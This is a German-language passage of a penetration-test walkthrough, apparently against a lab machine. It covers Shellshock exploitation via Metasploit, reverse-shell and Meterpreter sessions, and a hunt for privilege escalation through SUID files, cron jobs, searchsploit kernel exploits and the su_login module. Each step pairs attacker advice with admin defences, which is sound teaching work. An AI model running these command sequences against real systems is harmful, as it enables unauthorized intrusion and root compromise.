Analyse: Der Befehl `run` (oder `exploit`) startet den eigentlichen Angriff. Metasploit führt folgende Schritte aus: 1. Startet einen Listener (`reverse TCP handler`) auf der lokalen Maschine (192.168.2.114:4444), um die eingehende Verbindung der Shell abzufangen. 2. Sendet den Exploit-Code an das Ziel-CGI-Skript (`/cgi-bin/test.sh` auf 192.168.2.123). Dieser Code nutzt die Shellshock-Schwachstelle aus. 3. Der Exploit bringt das Zielsystem dazu, eine Verbindung zurück zum Listener aufzubauen. 4. Sobald die Verbindung etabliert ist (`Command shell session 1 opened`), wird eine interaktive Shell bereitgestellt. 5. Der `id`-Befehl wird automatisch ausgeführt (oder vom Pentester unmittelbar danach eingegeben), um die Benutzeridentität auf dem kompromittierten System zu überprüfen.

Bewertung: Der Angriff war erfolgreich! Die Ausgabe `Command shell session 1 opened` signalisiert, dass eine Verbindung hergestellt wurde. Der `id`-Befehl bestätigt, dass wir nun Code auf dem Zielsystem als Benutzer `www-data` (UID 33, GID 33) ausführen können. Dies ist der Benutzer, unter dem der Apache-Webserver läuft – ein typisches Ergebnis nach der Ausnutzung einer Webserver-Schwachstelle. Der Initial Access ist somit gelungen.

Empfehlung (Pentester): Stabilisieren Sie die Shell, falls nötig (z.B. mit Python PTY `python -c 'import pty; pty.spawn("/bin/bash")'`). Beginnen Sie sofort mit der Post-Exploitation-Phase: Sammeln Sie Informationen über das System (`uname -a`, `cat /etc/issue`, `ps aux`, `netstat -tulnp`), suchen Sie nach Benutzerdaten, Konfigurationsdateien und potenziellen Wegen zur Privilegieneskalation.
Empfehlung (Admin): Dieser erfolgreiche Exploit unterstreicht die Dringlichkeit des Patchens der Shellshock-Schwachstelle und der Aktualisierung des Webservers. Implementieren Sie Egress-Filterung und überwachen Sie ausgehende Verbindungen. Analysieren Sie Webserver-Logs, um den genauen Angriffszeitpunkt und -vektor nachzuvollziehen.

Privilege Escalation

Nachdem der initiale Zugriff als `www-data`-Benutzer erlangt wurde, beginnt die Phase der Privilegieneskalation. Das Ziel ist es, Root-Rechte auf dem System zu erlangen. Dies erfordert eine gründliche Untersuchung des Systems auf Fehlkonfigurationen, Schwachstellen oder ausnutzbare Programme.

# Prompt der Remote-Shell (Beispiel) find / -type f -perm -4000 -ls 2>/dev/null
1441833   36 -rwsr-xr-x   1 root     root        36832 Apr  8  2012 /bin/su
1441840   96 -rwsr-xr-x   1 root     root        94792 Mar 29  2012 /bin/mount
1441859   36 -rwsr-xr-x   1 root     root        35712 Nov  8  2011 /bin/ping
1441858   40 -rwsr-xr-x   1 root     root        40256 Nov  8  2011 /bin/ping6
1441841   68 -rwsr-xr-x   1 root     root        69096 Mar 29  2012 /bin/umount
1441915   32 -rwsr-xr-x   1 root     root        31304 Mar  2  2012 /bin/fusermount
664890   20 -rwsr-xr-x   1 root     root        18912 Nov  8  2011 /usr/bin/traceroute6.iputils
662023   44 -rwsr-xr-x   1 root     root        42824 Apr  8  2012 /usr/bin/passwd
662025   64 -rwsr-xr-x   1 root     root        63848 Apr  8  2012 /usr/bin/gpasswd
659026   32 -rwsr-xr-x   1 root     root        32352 Apr  8  2012 /usr/bin/newgrp
662026   44 -rwsr-xr-x   1 root     root        41832 Apr  8  2012 /usr/bin/chfn
665212   64 -rwsr-xr-x   1 root     root        62400 Jul 28  2011 /usr/bin/mtr
660889   72 -rwsr-xr-x   2 root     root        71248 Jan 31  2012 /usr/bin/sudoedit
660889   72 -rwsr-xr-x   2 root     root        71248 Jan 31  2012 /usr/bin/sudo
664690   48 -rwsr-sr-x   1 daemon   daemon      47928 ct 25  2011 /usr/bin/at
662028   40 -rwsr-xr-x   1 root     root        37096 Apr  8  2012 /usr/bin/chsh
665451   20 -rwsr-sr-x   1 libuuid  libuuid     18856 Mar 29  2012 /usr/sbin/uuidd
665267  320 -rwsr-xr--   1 root     dip        325744 Feb  4  2011 /usr/sbin/pppd
786925   12 -rwsr-xr-x   1 root     root        10408 Dec 13  2011 /usr/lib/eject/dmcrypt-get-device
665640   16 -r-sr-xr-x   1 root     root        13628 May 11  2020 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
665767   16 -r-sr-xr-x   1 root     root        14320 May 11  2020 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
789745  288 -rwsr-xr--   1 root     messagebus   292944 Feb 22  2012 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
923265  236 -rwsr-xr-x   1 root     root       240984 Aug 11  2016 /usr/lib/openssh/ssh-keysign

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` durchsucht das gesamte Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, die Datei mit den Rechten des Dateieigentümers (oft `root`) auszuführen. `-ls` zeigt detaillierte Informationen zu den gefundenen Dateien an. `2>/dev/null` leitet Fehlermeldungen (z.B. "Permission denied" für nicht lesbare Verzeichnisse) ins Nichts um, um die Ausgabe sauber zu halten.

Bewertung: Die Liste zeigt eine Reihe von Standard-SUID-Binaries (`su`, `mount`, `ping`, `passwd`, `sudo`, etc.). Viele davon sind für die Systemfunktion notwendig, können aber unter bestimmten Umständen oder bei Fehlkonfigurationen zur Privilegieneskalation missbraucht werden. Auffällig sind die VMware-Tools-Wrapper und `sudo`/`sudoedit`, da diese oft potenzielle Angriffsvektoren darstellen. Die Versionen sind jedoch nicht direkt ersichtlich, was weitere Prüfungen erfordert.

Empfehlung (Pentester): Überprüfen Sie die Versionen der gefundenen SUID-Binaries (insbesondere `sudo`) auf bekannte Schwachstellen. Prüfen Sie die `sudo`-Berechtigungen für den `www-data`-Benutzer mit `sudo -l` (falls `sudo` überhaupt ohne Passwort aufgerufen werden kann). Suchen Sie nach ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die nicht zu einer Standardinstallation gehören. Recherchieren Sie auf GTFOBins nach bekannten Methoden, um Standard-SUID-Binaries zur Eskalation zu missbrauchen.
Empfehlung (Admin): Entfernen Sie das SUID-Bit von allen Binaries, bei denen es nicht absolut notwendig ist. Halten Sie alle Systemkomponenten, insbesondere solche mit SUID-Rechten wie `sudo`, aktuell. Konfigurieren Sie `sudo` mit minimalen Rechten nach dem Prinzip des Least Privilege.

# Remote Shell Prompt pwd
/usr/lib/cgi-bin
# Remote Shell Prompt cd /home
# Remote Shell Prompt lks
/bin//sh: 7: lks: not found
www-data@ubuntu:/home$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May 11  2020 .
drwxr-xr-x 23 root root 4096 May 11  2020 ..
drwxr-xr-x  3 sumo sumo 4096 May 11  2020 sumo
www-data@ubuntu:/home$ ls
sumo
www-data@ubuntu:/home$ cd sumo
www-data@ubuntu:/home/sumo$ ls -la
total 28
drwxr-xr-x 3 sumo sumo 4096 May 11  2020 .
drwxr-xr-x 3 root root 4096 May 11  2020 ..
-rw------- 1 sumo sumo   90 May 13  2020 .bash_history
-rw-r--r-- 1 sumo sumo  220 May 11  2020 .bash_logout
-rw-r--r-- 1 sumo sumo 3486 May 11  2020 .bashrc
drwxrwxr-x 2 sumo sumo 4096 May 11  2020 .cache
-rw-r--r-- 1 sumo sumo  675 May 11  2020 .profile
www-data@ubuntu:/home/sumo$ cat .bash_history
cat: .bash_history: Permission denied

Analyse: Diese Befehlssequenz dient der Erkundung des `/home`-Verzeichnisses. * `pwd`: Zeigt das aktuelle Verzeichnis (`/usr/lib/cgi-bin`, wo das Shellshock-Skript lag). * `cd /home`: Wechselt in das Hauptverzeichnis für Benutzerprofile. * `lks`: Ein Tippfehler (vermutlich `ls`). Führt zu "command not found". * `ls -la`: Listet den Inhalt von `/home` detailliert auf. Zeigt ein Benutzerverzeichnis namens `sumo`. * `ls`: Einfache Listung, bestätigt `sumo`. * `cd sumo`: Wechselt in das Home-Verzeichnis des Benutzers `sumo`. * `ls -la`: Listet den Inhalt von `/home/sumo` detailliert auf. Zeigt Konfigurationsdateien (`.bashrc`, `.profile`) und eine `.bash_history`-Datei. * `cat .bash_history`: Versuch, die Befehlshistorie des Benutzers `sumo` zu lesen.

Bewertung: Die Erkundung zeigt das Vorhandensein eines Benutzers `sumo`. Die Berechtigungen der `.bash_history`-Datei (`-rw-------`) verhindern, dass der `www-data`-Benutzer sie lesen kann (`Permission denied`). Die History hätte potenziell Passwörter oder interessante Befehle enthalten können. Die anderen Konfigurationsdateien sind lesbar, enthalten aber oft keine direkten Eskalationspfade.

Empfehlung (Pentester): Untersuchen Sie die lesbaren Konfigurationsdateien (`.bashrc`, `.profile`) auf ungewöhnliche Aliase, Pfade oder Umgebungsvariablen. Notieren Sie den Benutzernamen `sumo` als potenzielles Ziel für Brute-Force-Angriffe (z.B. via SSH) oder als Kontext, falls später Anmeldedaten gefunden werden. Suchen Sie weiter nach Dateien, auf die `www-data` Schreibzugriff hat, insbesondere in Verzeichnissen wie `/tmp`, `/var/tmp`, `/dev/shm`.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse und sensible Dateien (wie `.bash_history`) restriktiv gesetzt sind (Standard ist oft ausreichend). Schulen Sie Benutzer darin, keine Passwörter oder sensiblen Daten in Skripten oder der Befehlshistorie zu speichern.

www-data@ubuntu:/home/sumo$ ls -la /etc/passwd
-rw-r--r-- 1 root root 946 May 11  2020 /etc/passwd
www-data@ubuntu:/home/sumo$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Analyse: * `ls -la /etc/passwd`: Überprüft die Berechtigungen der Passwortdatei. Sie ist für alle lesbar (`-rw-r--r--`). * `cat /etc/crontab`: Zeigt den Inhalt der systemweiten Crontab-Datei an. Cron-Jobs sind geplante Aufgaben, die zu bestimmten Zeiten ausgeführt werden.

Bewertung: Die `/etc/passwd`-Datei ist wie erwartet lesbar, enthält aber normalerweise keine Passwort-Hashes mehr (diese stehen in `/etc/shadow`, die nicht für normale Benutzer lesbar ist). Die `/etc/crontab` zeigt nur Standard-Cronjobs, die stündlich, täglich, wöchentlich und monatlich Skripte in den entsprechenden `/etc/cron.*`-Verzeichnissen ausführen. Diese Jobs laufen als `root`. Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten Cronjobs in dieser Datei, die direkt ausnutzbar erscheinen.

Empfehlung (Pentester): Überprüfen Sie die Verzeichnisse `/etc/cron.hourly`, `/etc/cron.daily`, `/etc/cron.weekly`, `/etc/cron.monthly` sowie `/etc/cron.d` auf Skripte, die möglicherweise von `www-data` beschreibbar sind oder unsicher konfiguriert sind (z.B. unsichere Pfade verwenden). Wenn ein von `root` ausgeführtes Skript durch `www-data` manipuliert werden kann, führt dies zur Privilegieneskalation.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Cron-Skripte und -Verzeichnisse restriktiv sind. Überprüfen Sie regelmäßig Cronjobs auf Notwendigkeit und sichere Implementierung. Vermeiden Sie unsichere Pfadabhängigkeiten in Cron-Skripten.

www-data@ubuntu:/home/sumo$ ls -la /var/backups
total 8
drwxr-xr-x  2 root root 4096 Apr 19  2012 .
drwxr-xr-x 12 root root 4096 May 13  2020 ..
www-data@ubuntu:/home/sumo$ ls -la /ops
ls: cannot access /ops: No such file or directory
www-data@ubuntu:/home/sumo$ ls -la /opt
total 8
drwxr-xr-x  2 root root 4096 May 11  2020 .
drwxr-xr-x 23 root root 4096 May 11  2020 ..

Analyse: Diese Befehle überprüfen den Inhalt gängiger Verzeichnisse, die manchmal für Backups oder benutzerdefinierte Anwendungen genutzt werden: * `ls -la /var/backups`: Listet das Standard-Backup-Verzeichnis. * `ls -la /ops`: Versucht, ein Verzeichnis `/ops` aufzulisten (oft für Operations-Skripte genutzt). * `ls -la /opt`: Listet das Verzeichnis `/opt` (oft für optionale Softwarepakete).

Bewertung: Das Verzeichnis `/var/backups` ist leer. Das Verzeichnis `/ops` existiert nicht. Das Verzeichnis `/opt` ist ebenfalls leer. Keines dieser Verzeichnisse scheint relevante Dateien oder potenzielle Angriffsvektoren zu enthalten.

Empfehlung (Pentester): Setzen Sie die Suche nach interessanten Dateien und Verzeichnissen fort. Überprüfen Sie andere Standardpfade wie `/srv`, `/mnt`, `/media`. Suchen Sie nach Konfigurationsdateien von Diensten, die als `www-data` laufen und möglicherweise Passwörter oder Hinweise enthalten.
Empfehlung (Admin): Halten Sie die Verzeichnisstruktur sauber und entfernen Sie nicht benötigte Verzeichnisse. Beschränken Sie den Zugriff auf notwendige Benutzer und Gruppen.

www-data@ubuntu:/home/sumo$ cd /var/www
www-data@ubuntu:/var/www$ ls
index.html  victim.cgi
www-data@ubuntu:/var/www$ ls -la
total 16
drwxr-xr-x  2 root root 4096 May 11  2020 .
drwxr-xr-x 12 root root 4096 May 13  2020 ..
-rw-r--r--  1 root root  177 May 11  2020 index.html
-rw-r--r--  1 root root  321 May 11  2020 victim.cgi

Analyse: * `cd /var/www`: Wechselt in das Standard-Web-Root-Verzeichnis für Apache auf Debian/Ubuntu. * `ls`: Listet die Dateien im Verzeichnis auf: `index.html` und `victim.cgi`. * `ls -la`: Zeigt detaillierte Informationen. Beide Dateien gehören `root` und sind für `www-data` nicht schreibbar.

Bewertung: Neben der bekannten `index.html` existiert hier eine Datei namens `victim.cgi`. Obwohl Nikto diese nicht explizit gefunden hat (möglicherweise, weil sie nicht im Standard-`cgi-bin`-Pfad liegt oder nicht direkt ausführbar ist), ist ihre Präsenz im Web-Root interessant. Da wir bereits über `/cgi-bin/test.sh` eingestiegen sind, ist diese Datei momentan weniger relevant, könnte aber ein alternativer Vektor sein.

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `victim.cgi` (`cat /var/www/victim.cgi`), um dessen Zweck zu verstehen. Prüfen Sie, ob es über den Webserver aufrufbar ist und ob es Schwachstellen enthält. Da der Initial Access aber bereits erfolgt ist, fokussieren Sie sich auf die Privilegieneskalation.
Empfehlung (Admin): Platzieren Sie CGI-Skripte nicht direkt im Web-Root, sondern in dedizierten `cgi-bin`-Verzeichnissen mit entsprechender Konfiguration und Berechtigungen. Entfernen Sie nicht benötigte Skripte.

www-data@ubuntu:/var/www$ uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

Analyse: Der Befehl `uname -a` gibt detaillierte Informationen über den Betriebssystemkern aus, einschließlich Name, Hostname, Kernel-Version, Build-Informationen und Architektur.

Bewertung: Die Ausgabe zeigt, dass es sich um ein 64-Bit Ubuntu-System (`x86_64`) mit dem Linux-Kernel Version `3.2.0-23-generic` handelt. Das Build-Datum ist April 2012. Dies ist eine sehr alte Kernel-Version und höchstwahrscheinlich anfällig für diverse bekannte Kernel-Exploits zur Privilegieneskalation.

Empfehlung (Pentester): Suchen Sie nach bekannten Kernel-Exploits für Linux Kernel 3.2.0-23 auf Ubuntu x64. Tools wie `searchsploit` oder Online-Datenbanken (Exploit-DB) sind hierfür geeignet. Dies ist nun der wahrscheinlichste Weg zur Root-Eskalation.
Empfehlung (Admin): Das System läuft mit einem extrem veralteten und nicht unterstützten Kernel. Ein sofortiges Update auf eine aktuell unterstützte Betriebssystemversion ist zwingend erforderlich. Das Ausführen solch alter Software stellt ein enormes Sicherheitsrisiko dar.

┌──(root㉿cycat)-[~] └─# searchsploit "Linux ubuntu 3.2.0-23"
--------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                  |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)                                                            | linux/local/18411.c
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)                                          | linux_x86-64/local/33589.c
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free                                                                                            | linux/dos/43234.c
Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation                                                                         | linux_x86-64/local/34134.c
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SCK_DIAG' SMEP Bypass Local Privilege Escalation                                                               | linux_x86-64/local/44299.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                                                                   | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                                                                          | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation                                                               | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)                                                           | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)                                       | linux/local/47169.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation                                                                          | linux/local/41760.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Results

Analyse: Der Befehl `searchsploit "Linux ubuntu 3.2.0-23"` durchsucht die lokale Exploit-DB-Datenbank nach Exploits, die zur Kernel-Version passen, die mit `uname -a` identifiziert wurde.

Bewertung: Searchsploit findet mehrere potenzielle Exploits. Besonders relevant erscheint der Exploit `Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)` mit dem Pfad `linux_x86-64/local/33589.c`. Dieser Exploit zielt genau auf die identifizierte Kernel-Version und Architektur ab und verspricht eine lokale Privilegieneskalation.

Empfehlung (Pentester): Untersuchen Sie den gefundenen Exploit `33589.c`. Kopieren Sie den Quellcode (`searchsploit -m linux_x86-64/local/33589.c`), analysieren Sie ihn (falls nötig), kompilieren Sie ihn auf Ihrer Angreifer-Maschine oder direkt auf dem Ziel (falls ein Compiler wie `gcc` vorhanden ist) und führen Sie ihn aus. Bereiten Sie den Transfer des Exploit-Codes auf das Zielsystem vor (z.B. über einen einfachen HTTP-Server).
Empfehlung (Admin): Dieser Fund unterstreicht erneut die kritische Notwendigkeit, das System zu aktualisieren. Es gibt bekannte, öffentlich verfügbare Exploits, die Root-Zugriff ermöglichen.

www-data@ubuntu:/var/www$ ^Z
Background session 1? [y/N]  y
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > search shell_to_meterpreter
Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  post/multi/manage/shell_to_meterpreter                   normal  No     Shell to Meterpreter Upgrade

Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > use 0
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on

View the full module info with the info, or info -d command.
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set lhost eth0
lhost => 192.168.2.114
msf6 post(multi/manage/shell_to_meterpreter) > set port 4433
[!] Unknown datastore option: port. Did you mean LPORT?
port => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set port 4433
port => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.114:4433
[*] Sending stage (1017704 bytes) to 192.168.2.123
[*] Meterpreter session 2 opened (192.168.2.114:4433 -> 192.168.2.123:39335) at 2023-07-16 02:20:55 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Analyse: Diese Befehlssequenz dient dazu, die bestehende einfache Shell (Session 1) zu einer funktionsreicheren Meterpreter-Session aufzurüsten. 1. `^Z` gefolgt von `y`: Die aktuelle Shell-Session wird in den Hintergrund geschickt, um wieder Zugriff auf die `msfconsole` zu erhalten. 2. `search shell_to_meterpreter`: Sucht nach dem Post-Exploitation-Modul, das eine Shell aufwerten kann. 3. `use 0`: Wählt das gefundene Modul (`post/multi/manage/shell_to_meterpreter`). 4. `options`: Zeigt die Optionen für das Upgrade-Modul an. Wichtig sind `SESSION` (die ID der aufzuwertenden Shell-Session), `LHOST` und `LPORT` (für die neue Meterpreter-Verbindung). 5. `set ...`: Konfiguriert die Optionen: `handler true` (Metasploit startet den Listener selbst), `lhost eth0` (setzt die lokale IP), `session 1` (die ID der einfachen Shell) und `lport 4433` (ein neuer Port für die Meterpreter-Verbindung). Die `set port 4433`-Befehle waren Tippfehler (es muss `LPORT` heißen), wurden aber korrigiert. 6. `run`: Führt das Modul aus. Es verbindet sich zur bestehenden Shell (Session 1), lädt den Meterpreter-Payload hoch und führt ihn aus. Das Zielsystem baut dann eine neue Verbindung zum Listener auf Port 4433 auf.

Bewertung: Das Upgrade war erfolgreich! Die Zeile `[*] Meterpreter session 2 opened (...)` bestätigt, dass nun eine Meterpreter-Session (mit der ID 2) zum Zielsystem besteht. Meterpreter bietet viele Vorteile gegenüber einer einfachen Shell, z.B. einfacheren Dateitransfer, Portweiterleitung, Prozessmigration und die Nutzung weiterer Post-Exploitation-Module.

Empfehlung (Pentester): Verwenden Sie die neue Meterpreter-Session (`sessions -i 2`), um mit dem Ziel zu interagieren. Nutzen Sie Meterpreter-Befehle (`sysinfo`, `getuid`, `ps`, `download`, `upload`, `portfwd` etc.) für die weitere Enumeration und die Vorbereitung der Kernel-Exploit-Ausführung. Das Upgrade auf Meterpreter erleichtert oft die nächsten Schritte.
Empfehlung (Admin): Die Fähigkeit, eine einfache Shell zu Meterpreter aufzurüsten, zeigt die Persistenz und Flexibilität von Angreifer-Tools. Endpoint Detection and Response (EDR)-Lösungen können versuchen, Meterpreter-Payloads und -Verhalten zu erkennen. Netzwerksegmentierung und Egress-Filterung bleiben wichtige Verteidigungsmaßnahmen.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/recon/local_exploit_suggester) > optioms
[-] Unknown command: optioms
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.123 - Collecting local exploits for x86/linux...
[*] 192.168.2.123 - 186 exploit checks are being tried...
[+] 192.168.2.123 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.2.123 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.3p1.pre.1ubuntu3 is vulnerable, but unable to determine editable file. S can NT be exploited by this module
[*] Running check method for exploit 58 / 58
[*] 192.168.2.123 - Valid modules for session 2:

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/sudoedit_bypass_priv_esc                       Yes                      The target appears to be vulnerable. Sudo 1.8.3p1.pre.1ubuntu3 is vulnerable, but unable to determine editable file. S can NT be exploited by this module
 3   exploit/linux/local/abrt_raceabrt_priv_esc

Analyse: Diese Befehle nutzen das `local_exploit_suggester`-Modul von Metasploit, um automatisch nach bekannten lokalen Privilegieneskalations-Exploits zu suchen, die auf die aktuelle Meterpreter-Session (Session 2) anwendbar sein könnten. 1. `search suggester`: Findet das Modul. 2. `use 0`: Wählt das Modul aus. 3. `optioms`: Tippfehler, wird ignoriert. 4. `options`: Zeigt die Optionen an (nur `SESSION` und `SHOWDESCRIPTION` sind relevant). 5. `set session 2`: Gibt an, dass das Modul auf der Meterpreter-Session 2 laufen soll. 6. `run`: Startet den Suggester. Er sammelt Informationen vom Zielsystem (OS, Kernel, installierte Software) und gleicht diese mit seiner Datenbank bekannter Exploits ab.

Bewertung: Der Suggester identifiziert zwei potenzielle Schwachstellen: `su_login` und `sudoedit_bypass_priv_esc` (bezogen auf eine alte Sudo-Version). Er schlägt jedoch keinen Kernel-Exploit vor, obwohl wir durch `uname -a` und `searchsploit` wissen, dass die Kernel-Version anfällig ist. Dies zeigt, dass der Suggester nicht immer vollständig ist und manuelle Recherche (wie zuvor mit `searchsploit`) oft zuverlässiger oder umfassender sein kann. Der `sudoedit`-Exploit scheint hier nicht direkt anwendbar zu sein ("unable to determine editable file").

Empfehlung (Pentester): Nutzen Sie den Local Exploit Suggester als ersten Anhaltspunkt, verlassen Sie sich aber nicht ausschließlich darauf. Führen Sie immer zusätzliche manuelle Enumeration durch (Kernel-Version, SUID-Dateien, sudo-Rechte, Cronjobs, installierte Software-Versionen). Da der Suggester hier keinen Kernel-Exploit vorschlägt, ist es umso wichtiger, den zuvor mit `searchsploit` gefundenen Exploit (`33589.c`) weiterzuverfolgen.
Empfehlung (Admin): Der Suggester zeigt, wie automatisierte Tools Schwachstellen finden können. Regelmäßiges Patchen von Kernel und Software (insbesondere `sudo`) ist essenziell, um die Angriffsfläche für solche Tools zu minimieren.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/su_login
msf6 exploit(linux/local/su_login) > options
[... Optionen für su_login ...]
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   SESSION                    yes       The session to run this module on
   USERNAME  root             yes       The username to authenticate with su as
   [...]
msf6 exploit(linux/local/su_login) > set session 2
session => 2
msf6 exploit(linux/local/su_login) > set lport 4455
lport => 4455
msf6 exploit(linux/local/su_login) > set lhost eth0
lhost => 192.168.2.114
msf6 exploit(linux/local/su_login) > set username root
username => root
msf6 exploit(linux/local/su_login) > run
[*] Started reverse TCP handler on 192.168.2.114:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Uploading payload to target
[*] Attempting to login with su
[*] Exploit completed, but no session was created.

Analyse: Basierend auf dem Vorschlag des Suggesters wird versucht, den `su_login`-Exploit auszuführen. 1. `use exploit/linux/local/su_login`: Wählt das Exploit-Modul. 2. `options`: Zeigt die Optionen (nicht vollständig im Log, aber `SESSION` und `USERNAME` sind wichtig). 3. `set ...`: Konfiguriert die Session-ID (2), einen neuen Listener-Port (4455), die Listener-IP und den Zielbenutzer (`root`). 4. `run`: Startet den Exploit-Versuch.

Bewertung: Obwohl der `check` meldet, dass das Ziel anfällig sei (`[+] The target appears to be vulnerable.`), schlägt der eigentliche Exploit fehl: `[*] Exploit completed, but no session was created.`. Dies kann verschiedene Gründe haben: Der Exploit ist doch nicht unter diesen Bedingungen anwendbar, eine Abhängigkeit fehlt, oder es gibt Schutzmechanismen. Das Ergebnis unterstreicht, dass nicht jeder von einem Suggester vorgeschlagene Exploit funktioniert.

Empfehlung (Pentester): Geben Sie diesen Exploit-Pfad vorerst auf und konzentrieren Sie sich wieder auf den vielversprechenderen Kernel-Exploit (`33589.c`), der manuell identifiziert wurde. Manchmal lohnt es sich, die Fehlermeldung oder den Exploit-Code genauer zu untersuchen, aber in diesem Fall scheint der Kernel-Exploit der direktere Weg zu sein.
Empfehlung (Admin): Auch fehlgeschlagene Exploit-Versuche sollten geloggt und analysiert werden. Dieser Versuch zeigt, dass selbst wenn ein System als "potenziell anfällig" markiert wird, der Exploit nicht immer erfolgreich ist.

www-data@ubuntu:/var/www$ ss -atlpn
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
LISTEN     0      128                      *:80                       *:*
LISTEN     0      128                      *:22                       *:*
LISTEN     0      128                     :::80                      :::*
LISTEN     0      128                     :::22                      :::*
www-data@ubuntu:/var/www$ getcap -r / 2>/dev/null
# (Keine Ausgabe)

